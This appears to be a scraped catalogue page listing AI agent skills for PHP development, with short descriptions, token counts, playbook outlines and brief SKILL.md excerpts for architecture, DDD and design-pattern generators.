- Detection Patterns
- Quick Reference
- References
Files
SKILL.mdcore18,231 bytesSKILL.mdcore18,231 bytesSKILL.mdcore18,231 bytesSKILL.mdcore18,231 bytesSKILL.mdcore18,231 bytesSKILL.mdcore18,231 bytesSKILL.mdcore18,231 bytesSKILL.mdcore18,231 bytesSKILL.mdcore18,231 bytesreferences/twelve-factors.mddoc11,127 bytes
Read SKILL.md
# Cloud Native Knowledge Base
Quick reference for 12-Factor App principles with PHP-specific implementations and container-first patterns.
## 12-Factor App Overview
```
┌─────────────────────────────────────────────────────────────────────┐
│ 12-FACTOR APP FLOW │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Codebase │───▶│ Build │───▶│ Release │───▶│ Run │ │
│ │ (Git) │ │ (Docker) │ │ (Tag) │ │ (K8s) │ │View the complete source on GitHubcode-examples-template
When your agent uses it
Generates code examples for PHP documentation. Creates minimal, copy-paste ready examples with expected output.
What it loads into context
Frontmatter
28 tokensAlways available to the agent
SKILL.md
1,826 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Example Principles
- Example Templates
- With Configuration
- With Authentication
- Production Ready
Files
SKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytesSKILL.mdcore6,926 bytes
Read SKILL.md
# Code Examples Template Generator
Generate effective code examples for documentation.
## Example Principles
### The Three Types
| Type | Purpose | Length | Use When |
|------|---------|--------|----------|
| **Minimal** | Show single concept | 5-10 lines | Teaching one thing |
| **Complete** | Show full usage | 20-50 lines | Production reference |
| **Progressive** | Build complexity | 3+ examples | Tutorial style |
View the complete source on GitHubcodeigniter-knowledge
When your agent uses it
CodeIgniter 4 framework knowledge base. Provides CI4 MVC architecture, DDD integration, persistence, services, security (Shield auth, Filters authorization, CSRF), event system, queue (codeigniter4/queue jobs, workers, retry), infrastructure components (cache, HTTP client, email, throttler), testing, and antipatterns for CodeIgniter PHP projects.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
1,343 tokensWhen the skill is activated
Reference documents
28,851 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 CodeIgniter Patterns
- References
Files
SKILL.mdcore6,061 bytesSKILL.mdcore6,061 bytesSKILL.mdcore6,061 bytesSKILL.mdcore6,061 bytesSKILL.mdcore6,061 bytesreferences/antipatterns.mddoc13,860 bytesreferences/architecture.mddoc6,767 bytesreferences/ddd-integration.mddoc11,485 bytesreferences/dependency-injection.mddoc8,826 bytesreferences/event-system.mddoc10,356 bytesreferences/infrastructure-components.mddoc12,215 bytesreferences/persistence.mddoc9,580 bytesreferences/queue.mddoc10,445 bytesreferences/routing-http.mddoc8,378 bytesreferences/security.mddoc18,216 bytesreferences/testing.mddoc10,486 bytes
Read SKILL.md
# CodeIgniter Knowledge Base
Quick reference for CodeIgniter 4 framework patterns and PHP implementation guidelines. CodeIgniter 4 is a complete rewrite of the framework, built for PHP 8.1+ with namespaces, autoloading, and a modern MVC architecture. It remains lightweight and fast while providing the tools needed for professional application development.
## Core Principles
### MVC Architecture
```
Request → index.php → Bootstrap → Routing
→ Filters (before) → Controller → Service/Model → View
→ Filters (after) → Response
```
View the complete source on GitHubconsistency-patterns-knowledge
When your agent uses it
Consistency Patterns knowledge base. Provides strong vs eventual consistency, idempotency keys, optimistic/pessimistic locking, conflict resolution, and saga compensation patterns for distributed systems audits.
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
3,093 tokensWhen the skill is activated
Reference documents
4,746 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Strong vs Eventual Consistency
- Idempotency Keys
- Optimistic Locking
- Pessimistic Locking
- Conflict Resolution Strategies
- Saga Compensation vs Distributed Transactions
- Common Violations Quick Reference
- Detection Patterns
- References
Files
SKILL.mdcore14,418 bytesSKILL.mdcore14,418 bytesSKILL.mdcore14,418 bytesSKILL.mdcore14,418 bytesSKILL.mdcore14,418 bytesSKILL.mdcore14,418 bytesreferences/idempotency-patterns.mddoc10,477 bytesreferences/locking-patterns.mddoc9,701 bytes
Read SKILL.md
# Consistency Patterns Knowledge Base
Quick reference for consistency guarantees, locking strategies, idempotency, and conflict resolution in distributed PHP applications.
## Strong vs Eventual Consistency
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ CONSISTENCY DECISION TREE │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Is data safety-critical? │
│ (money, inventory) │
│ / \ │View the complete source on GitHubcqrs-knowledge
When your agent uses it
CQRS architecture knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Command Query Responsibility Segregation audits.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,084 tokensWhen the skill is activated
Reference documents
12,578 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 CQRS Patterns
- References
Files
SKILL.mdcore5,412 bytesSKILL.mdcore5,412 bytesSKILL.mdcore5,412 bytesSKILL.mdcore5,412 bytesSKILL.mdcore5,412 bytesreferences/antipatterns.mddoc13,424 bytesreferences/bus-patterns.mddoc12,726 bytesreferences/command-patterns.mddoc7,290 bytesreferences/handler-patterns.mddoc11,584 bytesreferences/query-patterns.mddoc10,460 bytes
Read SKILL.md
# CQRS Knowledge Base
Quick reference for CQRS architecture patterns and PHP implementation guidelines.
## Core Principles
### Separation of Concerns
```
┌─────────────────────────────────────────────────────────────┐
│ APPLICATION │
├─────────────────────────────────────────────────────────────┤
│ WRITE SIDE (Commands) │ READ SIDE (Queries) │
├─────────────────────────────┼───────────────────────────────┤View the complete source on GitHubcreate-access-control
When your agent uses it
Generates Access Control components for PHP 8.4. Creates RBAC/ABAC components with PermissionInterface, RoleInterface, VoterInterface, AccessDecisionManager. Includes unit tests.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
1,292 tokensWhen the skill is activated
Reference documents
3,930 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Decision Strategies
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,563 bytesSKILL.mdcore5,563 bytesSKILL.mdcore5,563 bytesSKILL.mdcore5,563 bytesSKILL.mdcore5,563 bytesreferences/examples.mddoc9,202 bytesreferences/templates.mddoc8,451 bytes
Read SKILL.md
# Access Control Generator
Creates access control infrastructure for RBAC/ABAC authorization patterns.
## When to Use
| Scenario | Example |
|----------|---------|
| Role-based access | Admin, editor, viewer roles |
| Resource ownership | Users can only edit own resources |
| Attribute-based rules | Access based on resource state or user attributes |
| Complex authorization | Multiple voters with different strategies |
## Component CharacteristicsView the complete source on GitHubcreate-action
When your agent uses it
Generates ADR Action classes for PHP 8.4. Creates single-responsibility HTTP endpoint handlers with PSR-7 support. Includes unit tests.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
2,198 tokensWhen the skill is activated
Reference documents
4,960 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Action Characteristics
- Template
- Test Template
- Action Patterns by HTTP Method
- File Placement
- Generation Instructions
- Naming Conventions
- References
Files
SKILL.mdcore9,375 bytesSKILL.mdcore9,375 bytesSKILL.mdcore9,375 bytesSKILL.mdcore9,375 bytesSKILL.mdcore9,375 bytesSKILL.mdcore9,375 bytesSKILL.mdcore9,375 bytesSKILL.mdcore9,375 bytesreferences/examples.mddoc12,214 bytesreferences/templates.mddoc9,893 bytes
Read SKILL.md
# Action Generator
Generate ADR-compliant Action classes for HTTP endpoints.
## Action Characteristics
- **Single Responsibility**: One action = one HTTP endpoint
- **Input Parsing**: Collects and parses request input
- **Domain Invocation**: Calls UseCase/Handler
- **Response Delegation**: Passes result to Responder
- **No Business Logic**: Thin coordination layer
- **Invokable**: Single `__invoke()` method
## TemplateView the complete source on GitHubcreate-adapter
When your agent uses it
Generates Adapter pattern for PHP 8.4. Converts incompatible interfaces, wraps legacy code and external libraries. Includes unit tests.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
950 tokensWhen the skill is activated
Reference documents
5,148 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Adapters
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,278 bytesSKILL.mdcore4,278 bytesSKILL.mdcore4,278 bytesSKILL.mdcore4,278 bytesreferences/examples.mddoc16,473 bytesreferences/templates.mddoc6,540 bytes
Read SKILL.md
# Adapter Pattern Generator
Creates Adapter pattern infrastructure for converting incompatible interfaces into expected ones.
## When to Use
| Scenario | Example |
|----------|---------|
| Legacy code integration | Wrap old API with new interface |
| Third-party library wrapping | Stripe SDK, AWS SDK adapters |
| Interface standardization | Multiple payment gateways with unified interface |
| Backward compatibility | Support old and new interfaces |
## Component CharacteristicsView the complete source on GitHubcreate-aggregate
When your agent uses it
Generates DDD Aggregates for PHP 8.4. Creates consistency boundaries with root entity, domain events, and invariant protection. Includes unit tests.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,044 tokensWhen the skill is activated
Reference documents
3,088 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Aggregate Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Design Rules
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,353 bytesSKILL.mdcore4,353 bytesSKILL.mdcore4,353 bytesSKILL.mdcore4,353 bytesreferences/examples.mddoc8,582 bytesreferences/templates.mddoc4,682 bytes
Read SKILL.md
# Aggregate Generator
Generate DDD-compliant Aggregates with root, domain events, and tests.
## Aggregate Characteristics
- **Consistency boundary**: All changes atomic
- **Root entity**: Single entry point
- **Transactional consistency**: Invariants always valid
- **Domain events**: Records what happened
- **Encapsulation**: Children accessed through root
- **Identity**: Referenced by root ID
---View the complete source on GitHubcreate-anti-corruption-layer
When your agent uses it
Generates DDD Anti-Corruption Layer for PHP 8.4. Creates translation layer between bounded contexts or external systems. Includes adapters, translators, facades, and unit tests.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
1,547 tokensWhen the skill is activated
Reference documents
5,209 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Anti-Corruption Layer Characteristics
- ACL Architecture
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Anti-patterns to Avoid
- DI Configuration
- References
Files
SKILL.mdcore6,858 bytesSKILL.mdcore6,858 bytesSKILL.mdcore6,858 bytesSKILL.mdcore6,858 bytesSKILL.mdcore6,858 bytesreferences/examples.mddoc13,977 bytesreferences/templates.mddoc8,654 bytes
Read SKILL.md
# Anti-Corruption Layer Generator
Generate DDD-compliant Anti-Corruption Layer (ACL) components for isolating bounded contexts and integrating with external/legacy systems.
## When to Use
| Scenario | Example |
|----------|---------|
| Legacy system integration | ERP, CRM, mainframe |
| Third-party API integration | Payment gateway, shipping API |
| Bounded context communication | Order ↔ Inventory contexts |
| Database migration | Old schema → new domain model |
| Microservice integration | External service with different model |
View the complete source on GitHubcreate-api-versioning
When your agent uses it
Generates API Versioning pattern for PHP 8.4. Creates version resolution strategies (URI prefix, Accept header, query parameter), middleware, and deprecation support. Includes unit tests.
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
1,253 tokensWhen the skill is activated
Reference documents
4,262 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Strategy Comparison
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesreferences/examples.mddoc9,777 bytesreferences/templates.mddoc8,711 bytes
Read SKILL.md
# API Versioning Generator
Creates API Versioning infrastructure with multiple resolution strategies and deprecation support.
## When to Use
| Scenario | Example |
|----------|---------|
| Breaking API changes | New response format |
| Multiple API consumers | Mobile v1, web v2 |
| Gradual migration | Sunset old versions |
| Backward compatibility | Support legacy clients |
## Component CharacteristicsView the complete source on GitHubcreate-bridge
When your agent uses it
Generates Bridge pattern for PHP 8.4. Decouples abstraction from implementation. Includes unit tests.
What it loads into context
Frontmatter
29 tokensAlways available to the agent
SKILL.md
907 tokensWhen the skill is activated
Reference documents
2,311 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Bridges
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,015 bytesSKILL.mdcore4,015 bytesSKILL.mdcore4,015 bytesSKILL.mdcore4,015 bytesreferences/examples.mddoc6,559 bytesreferences/templates.mddoc3,455 bytes
Read SKILL.md
# Bridge Pattern Generator
Creates Bridge pattern infrastructure for separating abstraction from implementation.
## When to Use
| Scenario | Example |
|----------|---------|
| Multiple dimensions of variation | Notification types × channels |
| Avoid class explosion | Shape × rendering method |
| Runtime implementation switching | Database drivers |
| Platform independence | UI × OS |
## Component CharacteristicsView the complete source on GitHubcreate-builder
When your agent uses it
Generates Builder pattern for PHP 8.4. Creates step-by-step object construction with fluent interface and validation. Includes unit tests.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
1,183 tokensWhen the skill is activated
Reference documents
5,098 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,128 bytesSKILL.mdcore5,128 bytesSKILL.mdcore5,128 bytesSKILL.mdcore5,128 bytesSKILL.mdcore5,128 bytesreferences/examples.mddoc14,960 bytesreferences/templates.mddoc7,014 bytes
Read SKILL.md
# Builder Pattern Generator
Creates Builder pattern infrastructure for step-by-step construction of complex objects.
## When to Use
| Scenario | Example |
|----------|---------|
| Many constructor parameters | Order with 10+ fields |
| Optional parameters | Email with optional CC, BCC |
| Complex validation | Build-time validation |
| Step-by-step construction | Query building |
| Multiple representations | Different order types |
View the complete source on GitHubcreate-bulkhead
When your agent uses it
Generates Bulkhead pattern for PHP 8.4. Creates resource isolation with semaphore-based concurrency limiting and thread pool isolation. Includes unit tests.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,093 tokensWhen the skill is activated
Reference documents
4,777 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Use Case Selection
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,936 bytesSKILL.mdcore4,936 bytesSKILL.mdcore4,936 bytesSKILL.mdcore4,936 bytesreferences/examples.mddoc9,138 bytesreferences/templates.mddoc11,407 bytes
Read SKILL.md
# Bulkhead Pattern Generator
Creates Bulkhead pattern infrastructure for resource isolation and fault containment.
## When to Use
| Scenario | Example |
|----------|---------|
| External API calls | Limit concurrent requests to payment gateway |
| Database connections | Pool size limiting |
| CPU-intensive work | Limit by CPU cores |
| Multi-instance | Redis-based coordination |
## Component CharacteristicsView the complete source on GitHubcreate-cache-aside
When your agent uses it
Generates Cache-Aside pattern for PHP 8.4. Creates cache executor with PSR-16 integration, stampede protection via distributed locking, tag-based invalidation, and key generation. Includes unit tests.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
1,314 tokensWhen the skill is activated
Reference documents
4,363 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Pattern Comparison
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,732 bytesSKILL.mdcore5,732 bytesSKILL.mdcore5,732 bytesSKILL.mdcore5,732 bytesSKILL.mdcore5,732 bytesreferences/examples.mddoc11,136 bytesreferences/templates.mddoc6,860 bytes
Read SKILL.md
# Cache-Aside Generator
Creates Cache-Aside infrastructure with stampede protection and tag-based invalidation.
## When to Use
| Scenario | Example |
|----------|---------|
| Read-heavy workloads | Product catalog, user profiles |
| Expensive queries | Complex reports, aggregated data |
| External API responses | Third-party API caching |
| Computed values | Pricing calculations, search results |
## Component CharacteristicsView the complete source on GitHubcreate-chain-of-responsibility
When your agent uses it
Generates Chain of Responsibility pattern for PHP 8.4. Creates handler chains for request processing with middleware-style composition. Includes unit tests.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,316 tokensWhen the skill is activated
Reference documents
4,216 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Examples
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,771 bytesSKILL.mdcore5,771 bytesSKILL.mdcore5,771 bytesSKILL.mdcore5,771 bytesSKILL.mdcore5,771 bytesSKILL.mdcore5,771 bytesSKILL.mdcore5,771 bytesreferences/examples.mddoc13,390 bytesreferences/templates.mddoc5,863 bytes
Read SKILL.md
# Chain of Responsibility Pattern Generator
Creates Chain of Responsibility pattern infrastructure for sequential request processing.
## When to Use
| Scenario | Example |
|----------|---------|
| Multiple processors | Validation, discounts, approvals |
| Unknown handlers | Plugin systems |
| Priority processing | First match wins |
| Middleware | HTTP pipeline, logging |
## Component CharacteristicsView the complete source on GitHubcreate-circuit-breaker
When your agent uses it
Generates Circuit Breaker pattern for PHP 8.4. Creates resilience component protecting against cascading failures with state management, fallback support, and metrics. Includes unit tests.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
1,147 tokensWhen the skill is activated
Reference documents
3,729 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- State Transitions
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,505 bytesSKILL.mdcore5,505 bytesSKILL.mdcore5,505 bytesSKILL.mdcore5,505 bytesSKILL.mdcore5,505 bytesreferences/examples.mddoc7,719 bytesreferences/templates.mddoc8,782 bytes
Read SKILL.md
# Circuit Breaker Generator
Creates Circuit Breaker pattern infrastructure for resilience and fault tolerance.
## When to Use
| Scenario | Example |
|----------|---------|
| External service calls | API integrations, payment gateways |
| Database connections | Prevent connection exhaustion |
| Cascading failures | Stop failure propagation |
| Service degradation | Graceful fallback when service unavailable |
## Component CharacteristicsView the complete source on GitHubcreate-command
When your agent uses it
Generates CQRS Commands and Handlers for PHP 8.4. Creates immutable command DTOs with handlers that modify state. Includes unit tests.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
871 tokensWhen the skill is activated
Reference documents
2,897 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Command Characteristics
- Generation Process
- File Placement
- Command Naming Conventions
- Quick Template Reference
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore3,823 bytesSKILL.mdcore3,823 bytesSKILL.mdcore3,823 bytesSKILL.mdcore3,823 bytesreferences/examples.mddoc8,577 bytesreferences/templates.mddoc4,370 bytes
Read SKILL.md
# Command Generator
Generate CQRS-compliant Commands and Command Handlers with tests.
## Command Characteristics
- **Immutable**: `final readonly class`
- **Imperative naming**: Verb + noun (CreateOrder, ConfirmPayment)
- **Self-validating**: Validates invariants in constructor
- **Intent-revealing**: Name describes what should happen
- **Returns void or ID**: Never returns data
---
View the complete source on GitHubcreate-composite
When your agent uses it
Generates Composite pattern for PHP 8.4. Creates tree structures with uniform treatment of individual and composite objects. Includes unit tests.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
925 tokensWhen the skill is activated
Reference documents
2,376 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Composites
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,172 bytesSKILL.mdcore4,172 bytesSKILL.mdcore4,172 bytesSKILL.mdcore4,172 bytesSKILL.mdcore4,172 bytesreferences/examples.mddoc6,545 bytesreferences/templates.mddoc3,524 bytes
Read SKILL.md
# Composite Pattern Generator
Creates Composite pattern infrastructure for treating individual objects and compositions uniformly.
## When to Use
| Scenario | Example |
|----------|---------|
| Tree structures | Menus, file systems, organization charts |
| Part-whole hierarchies | UI components, product categories |
| Recursive operations | Calculate totals, render trees |
| Uniform treatment | Same interface for leaf and composite |
## Component CharacteristicsView the complete source on GitHubcreate-correlation-context
When your agent uses it
Generates Correlation ID propagation components for PHP 8.4. Creates PSR-15 middleware, Monolog processor, message bus header propagation, and CorrelationContext value object. Includes unit tests.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
1,491 tokensWhen the skill is activated
Reference documents
4,469 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Generated Components
- Component Characteristics
- Generation Process
- File Placement
- Quick Template Reference
- Usage Example
Files
SKILL.mdcore6,748 bytesSKILL.mdcore6,748 bytesSKILL.mdcore6,748 bytesSKILL.mdcore6,748 bytesSKILL.mdcore6,748 bytesSKILL.mdcore6,748 bytesSKILL.mdcore6,748 bytesSKILL.mdcore6,748 bytesSKILL.mdcore6,748 bytesreferences/examples.mddoc6,443 bytesreferences/templates.mddoc13,261 bytes
Read SKILL.md
# Correlation Context Generator
Creates Correlation ID propagation infrastructure for distributed PHP applications.
## When to Use
- Need to trace requests across multiple services or layers
- Log entries from different components must be linked together
- Async flows (RabbitMQ, Symfony Messenger) lose request context
- Debugging distributed systems requires end-to-end tracing
- Implementing observability and distributed tracing
## Generated Components
View the complete source on GitHubcreate-dead-letter-queue
When your agent uses it
Generates Dead Letter Queue components for PHP 8.4. Creates failed message capture, retry strategy with exponential backoff, failure classification, and unit tests.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
1,518 tokensWhen the skill is activated
Reference documents
8,150 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Key Principles
- Naming Conventions
- Quick Template Reference
- Database Schema
- References
Files
SKILL.mdcore7,045 bytesSKILL.mdcore7,045 bytesSKILL.mdcore7,045 bytesreferences/examples.mddoc17,420 bytesreferences/templates.mddoc18,566 bytes
Read SKILL.md
# Dead Letter Queue Generator
Creates Dead Letter Queue pattern infrastructure for capturing and retrying failed messages.
## When to Use
| Scenario | Example |
|----------|---------|
| Poison messages | Messages that always cause handler failures |
| Processing failures | Temporary infrastructure issues (DB down, timeout) |
| Audit trail | Track all failed message processing attempts |
| Retry mechanism | Automatic retry with exponential backoff |
| Monitoring | Alert on DLQ threshold exceeded |
View the complete source on GitHubcreate-decorator
When your agent uses it
Generates Decorator pattern for PHP 8.4. Creates wrapper classes for dynamic behavior addition without inheritance. Includes unit tests.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
1,233 tokensWhen the skill is activated
Reference documents
3,192 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Decorators
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,704 bytesSKILL.mdcore5,704 bytesSKILL.mdcore5,704 bytesSKILL.mdcore5,704 bytesreferences/examples.mddoc10,956 bytesreferences/templates.mddoc3,542 bytes
Read SKILL.md
# Decorator Pattern Generator
Creates Decorator pattern infrastructure for dynamically adding behavior to objects.
## When to Use
| Scenario | Example |
|----------|---------|
| Cross-cutting concerns | Logging, caching, metrics |
| Transparent wrapping | Add behavior without changing interface |
| Stackable features | Multiple decorators combined |
| Runtime behavior | Dynamic feature addition |
## Component CharacteristicsView the complete source on GitHubcreate-deploy-strategy
When your agent uses it
Generates deployment strategy configurations. Creates blue-green, canary, rolling deployment configs for GitHub Actions and GitLab CI with health checks and rollback procedures.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,330 tokensWhen the skill is activated
Reference documents
1,994 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Blue-Green Deployment
- Health Check Endpoints
- Generation Instructions
- Usage
Files
SKILL.mdcore5,644 bytesSKILL.mdcore5,644 bytesSKILL.mdcore5,644 bytesreferences/templates.mddoc7,253 bytes
Read SKILL.md
# Deployment Strategy Generator
Generates deployment configurations for zero-downtime deployments.
## Blue-Green Deployment
### GitHub Actions
```yaml
# .github/workflows/deploy-blue-green.yml
name: Blue-Green Deploy
on:
push:View the complete source on GitHubcreate-deptrac-config
When your agent uses it
Generates DEPTRAC configurations for PHP projects. Creates deptrac.yaml with DDD layer rules, bounded context separation, and dependency constraints.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,235 tokensWhen the skill is activated
Reference documents
1,424 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Configuration by Architecture
- Generation Instructions
- Usage
Files
SKILL.mdcore6,001 bytesreferences/examples.mddoc6,060 bytes
Read SKILL.md
# DEPTRAC Configuration Generator
Generates optimized DEPTRAC configurations for architectural dependency analysis.
## Generated Files
```
deptrac.yaml # Main configuration
deptrac-baseline.yaml # Violation baseline (if needed)
```
## Configuration by Architecture
### DDD Layered ArchitectureView the complete source on GitHubcreate-di-container
When your agent uses it
Generates DI Container configuration for PHP 8.4. Creates module classes, service providers, container configuration, and autowiring setup. Supports Symfony, Laravel, and PHP-DI patterns. Includes unit tests.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
2,889 tokensWhen the skill is activated
Reference documents
2,931 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Generated Components
- Input Requirements
- File Placement
- Template: Module Class (Framework-agnostic)
- Template: Symfony Service Provider
- Template: Symfony YAML Configuration
- Template: Laravel Service Provider
- Template: Symfony Compiler Pass
- Template: PHP-DI Configuration
- Unit Test Template
- SOLID Compliance
- References
Files
SKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesSKILL.mdcore13,953 bytesreferences/examples.mddoc8,251 bytesreferences/templates.mddoc5,320 bytes
Read SKILL.md
# DI Container Generator
## Overview
Generates Dependency Injection container configuration components for PHP 8.4 following DDD and Clean Architecture principles.
## When to Use
- Setting up new bounded context DI configuration
- Creating service provider/module for feature
- Configuring autowiring and interface bindings
- Registering tagged services (handlers, strategies)
- Setting up factory-based service creation
View the complete source on GitHubcreate-distributed-lock
When your agent uses it
Generates Distributed Lock for PHP 8.4. Creates LockInterface, LockFactory, RedisLockAdapter with TTL, and database lock adapter. Includes unit tests.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,095 tokensWhen the skill is activated
Reference documents
3,507 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Lock Lifecycle
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,887 bytesSKILL.mdcore4,887 bytesSKILL.mdcore4,887 bytesSKILL.mdcore4,887 bytesSKILL.mdcore4,887 bytesreferences/examples.mddoc7,869 bytesreferences/templates.mddoc7,132 bytes
Read SKILL.md
# Distributed Lock Generator
Creates distributed locking infrastructure for concurrency control and mutual exclusion.
## When to Use
| Scenario | Example |
|----------|---------|
| Resource contention | Prevent concurrent writes to same entity |
| Scheduled tasks | Ensure cron job runs on single node |
| Inventory management | Prevent overselling with stock locks |
| Distributed coordination | Leader election, singleton processes |
## Component CharacteristicsView the complete source on GitHubcreate-docker-compose-dev
When your agent uses it
Generates Docker Compose development configurations for PHP projects. Creates full development stacks with database, cache, queue, and debugging tools.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,614 tokensWhen the skill is activated
Reference documents
1,726 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
